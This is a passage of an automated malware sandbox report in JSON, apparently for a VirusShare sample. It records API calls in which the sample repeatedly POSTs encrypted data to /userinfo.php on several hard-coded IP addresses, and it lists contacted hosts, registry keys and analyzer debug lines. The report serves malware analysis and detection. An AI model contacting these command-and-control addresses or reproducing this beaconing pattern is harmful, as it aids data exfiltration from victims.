roxyBlanket"},"time":1700322041.5,"tid":2520,"flags":{}},{"category":"system","status":1,"stacktra
ce":[],"api":"LdrLoadDll","return_value":0,"arguments":{"basename":"ole32","module_address":"0
x75030000","flags":0,"module_name":"ole32.dll","stack_pivoted":0},"time":1700322041.5,"tid":2
520,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","re
turn_value":0,"arguments":{"ordinal":0,"module":"ole32","module_address":"0x75030000","functi
on_address":"0x75053413","function_name":"ObjectStublessClient10"},"time":1700322041.5,"ti
d":2520,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress
","return_value":0,"arguments":{"ordinal":0,"module":"api-ms-win-downlevel-ole32-l1-1-
0","module_address":"0x75aa0000","function_address":"0x750786d3","function_name":"CoUnin
itialize"},"time":1700322041.531,"tid":2520,"flags":{}},{"category":"ole","status":1,"stacktrace":[],"
api":"CoUninitialize","return_value":0,"arguments":{},"time":1700322041.531,"tid":2520,"flags":{}}
,{"category":"network","status":1,"stacktrace":[],"api":"InternetConnectA","return_value":1336935
2,"arguments":{"username":"","service":3,"hostname":"217.12.199.151","internet_handle":"0x00c
c0004","flags":0,"password":"","port":80},"time":1700322041.531,"tid":2280,"flags":{}},{"category"
:"network","status":1,"stacktrace":[],"api":"HttpOpenRequestA","return_value":13369356,"argum
ents":{"connect_handle":"0x00cc0008","http_version":"HTTP/1.1","flags":2219574016,"http_met
hod":"POST","referer":"","path":"/userinfo.php"},"time":1700322041.531,"tid":2280,"flags":{}},{"ca
tegory":"network","status":1,"stacktrace":[],"api":"InternetSetOptionA","return_value":1,"argumen
ts":{"option":77,"internet_handle":"0x00cc000c"},"time":1700322041.531,"tid":2280,"flags":{"opti
on":"INTERNET_OPTION_IGNORE_OFFLINE"}},{"category":"ole","status":1,"stacktrace":[],"api"
:"CoInitializeEx","return_value":0,"arguments":{"options":0},"time":1700322041.703,"tid":2520,"fl
ags":{}},{"category":"ole","status":1,"stacktrace":[],"api":"CoCreateInstance","return_value":0,"arg
uments":{"class_context":524292,"clsid":"{c39ee728-d419-4bd4-a3ef-
eda059dbd935}","iid":"{b06b0ce5-689b-4afd-b326-
0a08a1a647af}"},"time":1700322041.703,"tid":2520,"flags":{}},{"category":"ole","status":1,"stackt
race":[],"api":"CoUninitialize","return_value":0,"arguments":{},"time":1700322041.703,"tid":2520,"
flags":{}},{"category":"ole","status":1,"stacktrace":[],"api":"CoInitializeEx","return_value":0,"argum
ents":{"options":0},"time":1700322041.703,"tid":2520,"flags":{}},{"category":"ole","status":1,"stack
trace":[],"api":"CoCreateInstance","return_value":0,"arguments":{"class_context":524292,"clsid":"
{c39ee728-d419-4bd4-a3ef-eda059dbd935}","iid":"{b06b0ce5-689b-4afd-b326-
0a08a1a647af}"},"time":1700322041.703,"tid":2520,"flags":{}},{"category":"ole","status":1,"stackt
race":[],"api":"CoUninitialize","return_value":0,"arguments":{},"time":1700322041.703,"tid":2520,"
flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_
value":0,"arguments":{"ordinal":0,"module":"WS2_32","module_address":"0x75a60000","functio
n_address":"0x75a67489","function_name":"WSAGetOverlappedResult"},"time":1700322062.79
7,"tid":2580,"flags":{}},{"category":"network","status":0,"stacktrace":[],"last_error":12029,"nt_statu
s":0,"api":"HttpSendRequestA","return_value":0,"arguments":{"headers":"","request_handle":"0x
00cc000c","post_data":"Qüß\rl\u000bn˙Ø´13\u000fLA¯\\°

```
©÷ß‰à\u000e‰Ùæ9\u001eºQ,é∆\u000bƒ\u0012Ô\u0000„Ò[©G±≤lEr\u0013`øèáR\u0003øA\tÜ
ÆaN¡˝ˆ¸
UˆÀÕÉ©]jP\u001
e\b\u0003—¸\u0002ëS,π/9!´o'\u00
1c\\Ó·øå\u0016Jæƒ«¨›‰;Ÿ ∞§m6≈µê*\u0010_4ðÜ\u001dO…∫-
ã(¢`0u–?©˛BÎ\b\u001e
˛û`Ï∏6Yí3ÙkÎ‰G«Ii¯ÒXèpü˚‡˛ß\u001fØCúìø~æzûdÍ…á≤Ik“ê≥º!Ui\u0007‘q≈„HËO64GıÄöW\u00
133í*”õù\\éYÕ¬ú\u001dãH˛\u001f*4\",\u001d∏eóÎ\u001dÉ˘tL€Ò5bj∏ú\n´§\u000b›\u001d˚≈%gé
w–ÎØ/¶‹∞d>ì\fî|\u000b\u000b…¢ÕÛÒúœ\u001eîá∏\u001aã\u0011™™/ßBSîüU∞´∂\u0011\"1àK
⁄∫˛}µbm>∏Å…8?RÈÀ≥¬qÙd2O\"x©#Ö\u0005ñä˙ÿ\u0003Ç_$∂(Í\u0006“¡,Ú6\b
[ÍÄR¨GnÜBF÷û?Œ\u001aB¢¨Í›Bðjª\u000f[àfaliœnËy)∫G'ûß\u0002\u0000X&ˆÜ\u0003∞IÈY¢,qn>
R_dÁƒøp!ð\rk5w\u001fGÑÃ\u001cüXŒÏµ&•"},"time":1700322062.797,"tid":2280,"flags":{}},{"cat
egory":"network","status":1,"stacktrace":[],"api":"InternetCloseHandle","return_value":1,"argume
nts":{"internet_handle":"0x00cc000c"},"time":1700322062.797,"tid":2280,"flags":{}},{"category":"n
etwork","status":1,"stacktrace":[],"api":"InternetCloseHandle","return_value":1,"arguments":{"inte
rnet_handle":"0x00cc0008"},"time":1700322062.797,"tid":2280,"flags":{}},{"category":"network","
status":1,"stacktrace":[],"api":"InternetCrackUrlA","return_value":1,"arguments":{"url":"http://31.1
84.197.72/userinfo.php","flags":0},"time":1700322062.797,"tid":2280,"flags":{}},{"category":"netw
ork","status":1,"stacktrace":[],"api":"InternetConnectA","return_value":13369352,"arguments":{"u
sername":"","service":3,"hostname":"31.184.197.72","internet_handle":"0x00cc0004","flags":0,"p
assword":"","port":80},"time":1700322062.797,"tid":2280,"flags":{}},{"category":"network","status"
:1,"stacktrace":[],"api":"HttpOpenRequestA","return_value":13369356,"arguments":{"connect_ha
ndle":"0x00cc0008","http_version":"HTTP/1.1","flags":2219574016,"http_method":"POST","refer
er":"","path":"/userinfo.php"},"time":1700322062.797,"tid":2280,"flags":{}},{"category":"network","
status":1,"stacktrace":[],"api":"InternetSetOptionA","return_value":1,"arguments":{"option":77,"int
ernet_handle":"0x00cc000c"},"time":1700322062.797,"tid":2280,"flags":{"option":"INTERNET_O
PTION_IGNORE_OFFLINE"}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","ret
urn_value":0,"arguments":{"handle":"0x00000124"},"time":1700322071.266,"tid":2508,"flags":{}},
{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"han
dle":"0x00000128"},"time":1700322071.266,"tid":2508,"flags":{}},{"category":"system","status":1,
"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handle":"0x00000120"},"time":170
0322071.266,"tid":2508,"flags":{}},{"category":"network","status":0,"stacktrace":[],"last_error":120
29,"nt_status":0,"api":"HttpSendRequestA","return_value":0,"arguments":{"headers":"","request_
handle":"0x00cc000c","post_data":"Qüß\rl\u000bn˙Ø´13\u000fLA¯\\°
©÷ß‰à\u000e‰Ùæ9\u001eºQ,é∆\u000bƒ\u0012Ô\u0000„Ò[©G±≤lEr\u0013`øèáR\u0003øA\tÜ
ÆaN¡˝ˆ¸
UˆÀÕÉ©]jP\u001
e\b\u0003—¸\u0002ëS,π/9!´o'\u00
1c\\Ó·øå\u0016Jæƒ«¨›‰;Ÿ ∞§m6≈µê*\u0010_4ðÜ\u001dO…∫-
ã(¢`0u–?©˛BÎ\b\u001e
˛û`Ï∏6Yí3ÙkÎ‰G«Ii¯ÒXèpü˚‡˛ß\u001fØCúìø~æzûdÍ…á≤Ik“ê≥º!Ui\u0007‘q≈„HËO64GıÄöW\u00
133í*”õù\\éYÕ¬ú\u001dãH˛\u001f*4\",\u001d∏eóÎ\u001dÉ˘tL€Ò5bj∏ú\n´§\u000b›\u001d˚≈%gé
w–ÎØ/¶‹∞d>ì\fî|\u000b\u000b…¢ÕÛÒúœ\u001eîá∏\u001aã\u0011™™/ßBSîüU∞´∂\u0011\"1àK
⁄∫˛}µbm>∏Å…8?RÈÀ≥¬qÙd2O\"x©#Ö\u0005ñä˙ÿ\u0003Ç_$∂(Í\u0006“¡,Ú6\b
[ÍÄR¨GnÜBF÷û?Œ\u001aB¢¨Í›Bðjª\u000f[àfaliœnËy)∫G'ûß\u0002\u0000X&ˆÜ\u0003∞IÈY¢,qn>
R_dÁƒøp!ð\rk5w\u001fGÑÃ\u001cüXŒÏµ&•"},"time":1700322083.812,"tid":2280,"flags":{}},{"cat
egory":"network","status":1,"stacktrace":[],"api":"InternetCloseHandle","return_value":1,"argume
nts":{"internet_handle":"0x00cc000c"},"time":1700322083.812,"tid":2280,"flags":{}},{"category":"n
etwork","status":1,"stacktrace":[],"api":"InternetCloseHandle","return_value":1,"arguments":{"inte
rnet_handle":"0x00cc0008"},"time":1700322083.812,"tid":2280,"flags":{}},{"category":"network","
```

status":1,"stacktrace":[],"api":"InternetCrackUrlA","return_value":1,"arguments":{"url":"http://93.1
70.169.52/userinfo.php","flags":0},"time":1700322083.812,"tid":2280,"flags":{}},{"category":"netw
ork","status":1,"stacktrace":[],"api":"InternetConnectA","return_value":13369352,"arguments":{"u
sername":"","service":3,"hostname":"93.170.169.52","internet_handle":"0x00cc0004","flags":0,"p
assword":"","port":80},"time":1700322083.812,"tid":2280,"flags":{}},{"category":"network","status"
:1,"stacktrace":[],"api":"HttpOpenRequestA","return_value":13369356,"arguments":{"connect_ha
ndle":"0x00cc0008","http_version":"HTTP/1.1","flags":2219574016,"http_method":"POST","refer
er":"","path":"/userinfo.php"},"time":1700322083.812,"tid":2280,"flags":{}},{"category":"network","
status":1,"stacktrace":[],"api":"InternetSetOptionA","return_value":1,"arguments":{"option":77,"int
ernet_handle":"0x00cc000c"},"time":1700322083.812,"tid":2280,"flags":{"option":"INTERNET_O
PTION_IGNORE_OFFLINE"}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","ret
urn_value":0,"arguments":{"handle":"0x0000027c"},"time":1700322101.266,"tid":2508,"flags":{}},
{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"han
dle":"0x00000248"},"time":1700322101.281,"tid":2508,"flags":{}},{"category":"system","status":1,
"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handle":"0x00000190"},"time":170
0322101.281,"tid":2508,"flags":{}},{"category":"synchronisation","status":1,"stacktrace":[],"api":"N
tDelayExecution","return_value":0,"arguments":{"skipped":0,"milliseconds":60000},"time":17003
22101.453,"tid":2528,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","ret
urn_value":0,"arguments":{"handle":"0x00000260"},"time":1700322101.453,"tid":2528,"flags":{}},
{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"han
dle":"0x000002a8"},"time":1700322101.453,"tid":2528,"flags":{}},{"category":"system","status":1,
"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handle":"0x000002ac"},"time":170
0322101.453,"tid":2528,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"NtDuplicat
eObject","return_value":0,"arguments":{"handle_attributes":0,"source_process_identifier":2276,"
source_handle":"0xfffffffe","target_process_identifier":2276,"desired_access":"0x00000000","tar
get_process_handle":"0xffffffff","target_handle":"0x000002a8","source_process_handle":"0xfffffff
f","options":2},"time":1700322101.453,"tid":2528,"flags":{}},{"category":"network","status":0,"stac
ktrace":[],"last_error":12029,"nt_status":0,"api":"HttpSendRequestA","return_value":0,"argument
s":{"headers":"","request_handle":"0x00cc000c","post_data":"Qüß\rl\u000bn˙Ø´13\u000fLA¯\\°
©÷ß‰à\u000e‰Ùæ9\u001eºQ,é∆\u000bƒ\u0012Ô\u0000„Ò[©G±≤lEr\u0013`øèáR\u0003øA\tÜ
ÆaN¡˝ˆ¸
UˆÀÕÉ©]jP\u001
e\b\u0003—¸\u0002ëS,π/9!´o'\u00
1c\\Ó·øå\u0016Jæƒ«¨›‰;Ÿ ∞§m6≈µê*\u0010_4ðÜ\u001dO…∫-
ã(¢`0u–?©˛BÎ\b\u001e
˛û`Ï∏6Yí3ÙkÎ‰G«lı¯ÒXèpü˚‡˛ß\u001fØCúìø~æzûdÍ…á≤lk“ê≥º!Ui\u0007‘q≈„HËO64GıÄöW\u00
133í*”õù\\éYÕ¬ú\u001dãH˛\u001f*4\",\u001d∏eóÎ\u001dÉ˘tL€Ò5bj∏ú\n´§\u000b›\u001d˚≈%gé
w–ÎØ/¶‹∞d>ì\fî|\u000b\u000b…¢ÕÛÒúœ\u001eîá∏\u001aã\u0011™™/ßBSîüU∞´∂\u0011\"1àK
⁄∫˛}µbm>∏Å…8?RÈÀ≥¬qÙd2O\"x©#Ö\u0005ñä˙ÿ\u0003Ç_$∂(Í\u0006“¡,Ú6\b
[ÍÄR¨GnÜBF÷û?Œ\u001aB¢¨Í›Bðjª\u000f[àfaliœnËy)∫G’ûß\u0002\u0000X&ˆÜ\u0003∞IÈY¢,qn>
R_dÁƒøp!ð\rk5w\u001fGÑÃ\u001cüXŒÏµ&•"},"time":1700322104.859,"tid":2280,"flags":{}},{"cat
egory":"network","status":1,"stacktrace":[],"api":"InternetCloseHandle","return_value":1,"argume
nts":{"internet_handle":"0x00cc000c"},"time":1700322104.859,"tid":2280,"flags":{}},{"category":"n
etwork","status":1,"stacktrace":[],"api":"InternetCloseHandle","return_value":1,"arguments":{"inte
rnet_handle":"0x00cc0008"},"time":1700322104.859,"tid":2280,"flags":{}},{"category":"network","
status":1,"stacktrace":[],"api":"InternetCrackUrlA","return_value":1,"arguments":{"url":"http://92.2
22.71.26/userinfo.php","flags":0},"time":1700322104.859,"tid":2280,"flags":{}},{"category":"netwo
rk","status":1,"stacktrace":[],"api":"InternetConnectA","return_value":13369352,"arguments":{"us
ername":"","service":3,"hostname":"92.222.71.26","internet_handle":"0x00cc0004","flags":0,"pas
sword":"","port":80},"time":1700322104.859,"tid":2280,"flags":{}},{"category":"network","status":1,

```
"stacktrace":[],"api":"HttpOpenRequestA","return_value":13369356,"arguments":{"connect_hand
le":"0x00cc0008","http_version":"HTTP/1.1","flags":2219574016,"http_method":"POST","referer"
:"","path":"/userinfo.php"},"time":1700322104.859,"tid":2280,"flags":{}},{"category":"network","stat
us":1,"stacktrace":[],"api":"InternetSetOptionA","return_value":1,"arguments":{"option":77,"intern
et_handle":"0x00cc000c"},"time":1700322104.859,"tid":2280,"flags":{"option":"INTERNET_OPTI
ON_IGNORE_OFFLINE"}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return
_value":0,"arguments":{"handle":"0x00000220"},"time":1700322108.437,"tid":2524,"flags":{}},{"c
ategory":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handl
e":"0x00000218"},"time":1700322108.437,"tid":2524,"flags":{}},{"category":"system","status":1,"s
tacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handle":"0x00000278"},"time":17003
22114.766,"tid":2520,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","ret
urn_value":0,"arguments":{"handle":"0x00000244"},"time":1700322114.766,"tid":2520,"flags":{}},
{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"han
dle":"0x00000240"},"time":1700322114.766,"tid":2520,"flags":{}},{"category":"network","status":0,
"stacktrace":[],"last_error":12029,"nt_status":0,"api":"HttpSendRequestA","return_value":0,"argu
ments":{"headers":"","request_handle":"0x00cc000c","post_data":"Qüß\rl\u000bn˙Ø´13\u000fLA¯
\\°
©÷ß‰à\u000e‰Ùæ9\u001eºQ,é∆\u000bƒ\u0012Ô\u0000„Ò[©G±≤lEr\u0013`øèáR\u0003øA\tÜ
ÆaN¡˝ˆ¸
UˆÀÕÉ©]jP\u001
e\b\u0003—¸\u0002ëS,π/9!´o'\u00
1c\\Ó·øå\u0016Jæƒ«¨›‰;Ÿ ∞§m6≈µê*\u0010_4ðÜ\u001dO…∫-
ã(¢`0u–?©˛BÎ\b\u001e
˛û`Ï∏6Yí3ÙkÎ‰G«Ii¯ÒXèpü˚‡˛ß\u001fØCúìø~æzûdÍ…á≤Ik“ê≥º!Ui\u0007‘q≈„HËO64GıÄöW\u00
133í*”õù\\éYÕ¬ú\u001dãH˛\u001f*4\",\u001d∏eóÎ\u001dÉ˘tL€Ò5bj∏ú\n´§\u000b›\u001d˚≈%gé
w–ÎØ/¶‹∞d>ì\fî|\u000b\u000b…¢ÕÛÒúœ\u001eîá∏\u001aã\u0011™™/ßBSîüU∞´∂\u0011\"1àK
⁄∫˛}µbm>∏Å…8?RÈÀ≥¬qÙd2O\"x©#Ö\u0005ñä˙ÿ\u0003Ç_$∂(Í\u0006“¡,Ú6\b
[ÍÄR¨GnÜBF÷û?Œ\u001aB¢¨Í›Bðjª\u000f[àfaliœnËy)∫G’ûß\u0002\u0000X&ˆÜ\u0003∞IÈY¢,qn>
R_dÁƒøp!ð\rk5w\u001fGÑÃ\u001cüXŒÏµ&•"},"time":1700322125.906,"tid":2280,"flags":{}},{"cat
egory":"network","status":1,"stacktrace":[],"api":"InternetCloseHandle","return_value":1,"argume
nts":{"internet_handle":"0x00cc000c"},"time":1700322125.906,"tid":2280,"flags":{}},{"category":"n
etwork","status":1,"stacktrace":[],"api":"InternetCloseHandle","return_value":1,"arguments":{"inte
rnet_handle":"0x00cc0008"},"time":1700322125.906,"tid":2280,"flags":{}},{"category":"network","
status":1,"stacktrace":[],"api":"InternetCrackUrlA","return_value":1,"arguments":{"url":"http://107.
181.174.15/userinfo.php","flags":0},"time":1700322125.906,"tid":2280,"flags":{}},{"category":"net
work","status":1,"stacktrace":[],"api":"InternetConnectA","return_value":13369352,"arguments":{"
username":"","service":3,"hostname":"107.181.174.15","internet_handle":"0x00cc0004","flags":0
,"password":"","port":80},"time":1700322125.906,"tid":2280,"flags":{}},{"category":"network","stat
us":1,"stacktrace":[],"api":"HttpOpenRequestA","return_value":13369356,"arguments":{"connect
_handle":"0x00cc0008","http_version":"HTTP/1.1","flags":2219574016,"http_method":"POST","r
eferer":"","path":"/userinfo.php"},"time":1700322125.906,"tid":2280,"flags":{}},{"category":"networ
k","status":1,"stacktrace":[],"api":"InternetSetOptionA","return_value":1,"arguments":{"option":77,
"internet_handle":"0x00cc000c"},"time":1700322125.906,"tid":2280,"flags":{"option":"INTERNET
_OPTION_IGNORE_OFFLINE"}},{"category":"network","status":0,"stacktrace":[],"last_error":120
29,"nt_status":0,"api":"HttpSendRequestA","return_value":0,"arguments":{"headers":"","request_
handle":"0x00cc000c","post_data":"Qüß\rl\u000bn˙Ø´13\u000fLA¯\\°
©÷ß‰à\u000e‰Ùæ9\u001eºQ,é∆\u000bƒ\u0012Ô\u0000„Ò[©G±≤lEr\u0013`øèáR\u0003øA\tÜ
ÆaN¡˝ˆ¸
UˆÀÕÉ©]jP\u001
e\b\u0003—¸\u0002ëS,π/9!´o'\u00
```

1c\\Ó·øå\u0016Jæƒ«¨›‰;Ÿ ∞§m6≈µê*\u0010_4ðÜ\u001dO…∫-
ã(¢`0u–?©˛BÎ\b\u001e
˛û`Ï∏6Yí3ÙkÎ‰G«Iì¯ÒXèpü˚‡˛ß\u001fØCúìø~æzûdÍ…á≤Ik“ê≥º!Ui\u0007‘q≈„HËO64GıÄöW\u00133í*”õù\\éYÕ¬ú\u001dãH˛\u001f*4\",\u001d∏eóÎ\u001dÉ˘tL€Ò5bj∏ú\n´§\u000b›\u001d˚≈%géw–ÎØ/¶‹∞d>ì\fî|\u000b\u000b…¢ÕÛÒúœ\u001eîá∏\u001aã\u0011™™/ßBSîüU∞´∂\u0011\"1àK`⁄∫˛}µbm>∏Å…8?RÈÀ≥¬qÙd2O\"x©#Ö\u0005ñä˙ÿ\u0003Ç_$∂(Í\u0006“¡‚Ú6\b
[ÍÄR¨GnÜBF÷û?Œ\u001aB¢¨Í›Bðjª\u000f[àfaliœnËy)∫G’ûß\u0002\u0000X&ˆÜ\u0003∞IÈY¢,qn>R_dÁƒøp!ð\rk5w\u001fGÑÃ\u001cüXŒÏµ&•"},"time":1700322146.922,"tid":2280,"flags":{}},{"category":"network","status":1,"stacktrace":[],"api":"InternetCloseHandle","return_value":1,"arguments":{"internet_handle":"0x00cc000c"},"time":1700322146.922,"tid":2280,"flags":{}},{"category":"network","status":1,"stacktrace":[],"api":"InternetCloseHandle","return_value":1,"arguments":{"internet_handle":"0x00cc0008"},"time":1700322146.922,"tid":2280,"flags":{}},{"category":"network","status":1,"stacktrace":[],"api":"InternetCrackUrlA","return_value":1,"arguments":{"url":"http://176.53.21.105/userinfo.php","flags":0},"time":1700322146.922,"tid":2280,"flags":{}},{"category":"network","status":1,"stacktrace":[],"api":"InternetConnectA","return_value":13369352,"arguments":{"username":"","service":3,"hostname":"176.53.21.105","internet_handle":"0x00cc0004","flags":0,"password":"","port":80},"time":1700322146.922,"tid":2280,"flags":{}},{"category":"network","status":1,"stacktrace":[],"api":"HttpOpenRequestA","return_value":13369356,"arguments":{"connect_handle":"0x00cc0008","http_version":"HTTP/1.1","flags":2219574016,"http_method":"POST","referer":"","path":"/userinfo.php"},"time":1700322146.922,"tid":2280,"flags":{}},{"category":"network","status":1,"stacktrace":[],"api":"InternetSetOptionA","return_value":1,"arguments":{"option":77,"internet_handle":"0x00cc000c"},"time":1700322146.922,"tid":2280,"flags":{"option":"INTERNET_OPTION_IGNORE_OFFLINE"}}],"track":true,"pid":2276,"process_name":"VirusShare_00a0f5fe1ba0102ed789b2aa85c3e316.exe","command_line":"\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\VirusShare_00a0f5fe1ba0102ed789b2aa85c3e316.exe\"
","modules":[{"basename":"VirusShare_00a0f5fe1ba0102ed789b2aa85c3e316.exe","imgsize":241664,"baseaddr":"0x8f0000","filepath":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\VirusShare_00a0f5fe1ba0102ed789b2aa85c3e316.exe"},{"basename":"ntdll.dll","imgsize":1572864,"baseaddr":"0x77430000","filepath":"C:\\Windows\\SysWOW64\\ntdll.dll"},{"basename":"kernel32.dll","imgsize":1114112,"baseaddr":"0x75ab0000","filepath":"C:\\Windows\\syswow64\\kernel32.dll"},{"basename":"KERNELBASE.dll","imgsize":290816,"baseaddr":"0x75c60000","filepath":"C:\\Windows\\syswow64\\KERNELBASE.dll"},{"basename":"USER32.dll","imgsize":1048576,"baseaddr":"0x75190000","filepath":"C:\\Windows\\syswow64\\USER32.dll"},{"basename":"GDI32.dll","imgsize":589824,"baseaddr":"0x75bd0000","filepath":"C:\\Windows\\syswow64\\GDI32.dll"},{"basename":"LPK.dll","imgsize":40960,"baseaddr":"0x75820000","filepath":"C:\\Windows\\syswow64\\LPK.dll"},{"basename":"USP10.dll","imgsize":643072,"baseaddr":"0x76cd0000","filepath":"C:\\Windows\\syswow64\\USP10.dll"},{"basename":"msvcrt.dll","imgsize":704512,"baseaddr":"0x75290000","filepath":"C:\\Windows\\syswow64\\msvcrt.dll"},{"basename":"ADVAPI32.dll","imgsize":655360,"baseaddr":"0x76e10000","filepath":"C:\\Windows\\syswow64\\ADVAPI32.dll"},{"basename":"sechost.dll","imgsize":102400,"baseaddr":"0x76fe0000","filepath":"C:\\Windows\\SysWOW64\\sechost.dll"},{"basename":"RPCRT4.dll","imgsize":983040,"baseaddr":"0x755d0000","filepath":"C:\\Windows\\syswow64\\RPCRT4.dll"},{"basename":"SspiCli.dll","imgsize":393216,"baseaddr":"0x74e50000","filepath":"C:\\Windows\\syswow64\\SspiCli.dll"},{"basename":"CRYPTBASE.dll","imgsize":49152,"baseaddr":"0x74e40000","filepath":"C:\\Windows\\syswow64\\CRYPTBASE.dll"},{"basename":"SHELL32.dll","imgsize":12886016,"baseaddr":"0x75e60000","filepath":"C:\\Windows\\syswow64\\SHELL32.dll"},{"basename":"SHLWAPI.dll","imgsize":356352,"baseaddr":"0x74eb0000","filepath":"C:\\Windows\\syswow64\\SHLWAPI.dll"},{"basename":"ole32.dll","imgsize":1425408,"baseaddr":"0x75030000","filepath":"C:\\Windows\\syswow64\\ole32.dll"},{"basename":"VERSION.dll","imgsize":36864,"baseaddr":"0x748e0000","filepath":"C:\\Windows\\system32\\VERSION.dll"},{"basename":"oledlg.dll","imgsize":114688,"baseaddr":"0x748c0000","filepath":"

```
C:\\Windows\\system32\\oledlg.dll"},{"basename":"WTSAPI32.dll","imgsize":53248,"baseaddr":"0x748b0000","filepath":"C:\\Windows\\system32\\WTSAPI32.dll"},{"basename":"PSAPI.DLL","imgsize":20480,"baseaddr":"0x77000000","filepath":"C:\\Windows\\syswow64\\PSAPI.DLL"},{"basename":"IMM32.DLL","imgsize":393216,"baseaddr":"0x76c70000","filepath":"C:\\Windows\\system32\\IMM32.DLL"},{"basename":"MSCTF.dll","imgsize":835584,"baseaddr":"0x74f60000","filepath":"C:\\Windows\\syswow64\\MSCTF.dll"},{"basename":"monitor-x86.dll","imgsize":2117632,"baseaddr":"0x746a0000","filepath":"C:\\tmppizz3e\\bin\\monitor-x86.dll"}],"time":0,"tid":2280,"first_seen":1700322037.5,"ppid":2252,"type":"process"}],"processtree":[{"track":false,"pid":500,"process_name":"lsass.exe","command_line":"C:\\Windows\\system32\\lsass.exe","first_seen":1700322037.0625,"ppid":396,"children":[]},{"track":true,"pid":2276,"process_name":"VirusShare_00a0f5fe1ba0102ed789b2aa85c3e316.exe","command_line":"\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\VirusShare_00a0f5fe1ba0102ed789b2aa85c3e316.exe\" ","first_seen":1700322037.5,"ppid":2252,"children":[]}],"summary":{"dll_loaded":["MPR.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","urlmon.dll","IPHLPAPI.DLL","WININET.dll","GDI32.dll","SHELL32.dll","KERNEL32.dll","NETAPI32.dll","ADVAPI32.dll","rpcrt4.dll","ole32.dll","CRYPTSP.dll","USER32.dll"],"file_opened":["\\\\?\\PIPE\\lsarpc"],"connects_host":["31.184.197.72","107.181.174.15","92.222.71.26","217.12.199.151","176.53.21.105","93.170.169.52"],"regkey_opened":["HKEY_LOCAL_MACHINE\\system\\CurrentControlSet\\control\\NetworkProvider\\HwOrder","HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\Rpc","HKEY_CURRENT_USER\\Software\\RQ0U6dD388ZSj2","HKEY_PERFORMANCE_DATA\\(Default)","HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Rpc"],"file_written":["\\\\?\\PIPE\\lsarpc"],"guid":["{b06b0ce5-689b-4afd-b326-0a08a1a647af}","{c39ee728-d419-4bd4-a3ef-eda059dbd935}"],"file_read":["\\\\?\\PIPE\\lsarpc"],"regkey_read":["HKEY_CURRENT_USER\\Software\\RQ0U6dD388ZSj2\\8f4jbO1e","HKEY_LOCAL_MACHINE\\SYSTEM\\Setup\\SystemSetupInProgress","HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Nls\\CustomLocale\\en-US","HKEY_CURRENT_USER\\Software\\RQ0U6dD388ZSj2\\AbPWHH2fXcD","HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Rpc\\MaxRpcSize","HKEY_CURRENT_USER\\Software\\RQ0U6dD388ZSj2\\kO3235uf","HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\SQMClient\\Windows\\CEIPEnable","HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Nls\\ExtendedLocale\\en-US","HKEY_LOCAL_MACHINE\\SYSTEM\\Setup\\OOBEInProgress","HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\ComputerName\\ActiveComputerName\\ComputerName","HKEY_CURRENT_USER\\Software\\RQ0U6dD388ZSj2\\834kf98ja1"]}},"debug":{"action":[],"dbgview":[],"errors":[],"log":["2023-11-18 11:10:36,030 [analyzer] DEBUG: Starting analyzer from: C:\\tmppizz3e\n","2023-11-18 11:10:36,030 [analyzer] DEBUG: Pipe server name: \\??\\PIPE\\msnpmabgCljvcarXpLfib\n","2023-11-18 11:10:36,030 [analyzer] DEBUG: Log pipe server name: \\??\\PIPE\\RtyHbKHdiKDSkVSktuaSFnFue\n","2023-11-18 11:10:36,375 [analyzer] DEBUG: Started auxiliary module DbgView\n","2023-11-18 11:10:36,858 [analyzer] DEBUG: Started auxiliary module Disguise\n","2023-11-18 11:10:37,125 [analyzer] DEBUG: Loaded monitor into process with pid 500\n","2023-11-18 11:10:37,125 [analyzer] DEBUG: Started auxiliary module DumpTLSMasterSecrets\n","2023-11-18 11:10:37,125 [analyzer] DEBUG: Started auxiliary module Human\n","2023-11-18 11:10:37,125 [analyzer] DEBUG: Started auxiliary module InstallCertificate\n","2023-11-18 11:10:37,125 [analyzer] DEBUG: Started auxiliary module Reboot\n","2023-11-18 11:10:37,217 [analyzer] DEBUG: Started auxiliary module RecentFiles\n","2023-11-18 11:10:37,217 [analyzer] DEBUG: Started auxiliary module Screenshots\n","2023-11-18 11:10:37,217 [modules.auxiliary.screenshots] INFO: Python Image Library (either PIL or Pillow) is not installed, screenshots are disabled.\n","2023-
```

```
11-18 11:10:37,233 [analyzer] DEBUG: Started auxiliary module LoadZer0m0n\n","2023-11-18
11:10:37,375 [lib.api.process] INFO: Successfully executed process from path
u'C:\\\\Users\\\\ADMINI~1\\\\AppData\\\\Local\\\\Temp\\\\VirusShare_00a0f5fe1ba0102ed789b2a
a85c3e316.exe' with arguments '' and pid 2276\n","2023-11-18 11:10:37,608 [analyzer]
DEBUG: Loaded monitor into process with pid 2276\n","2023-11-18 11:10:41,250 [analyzer]
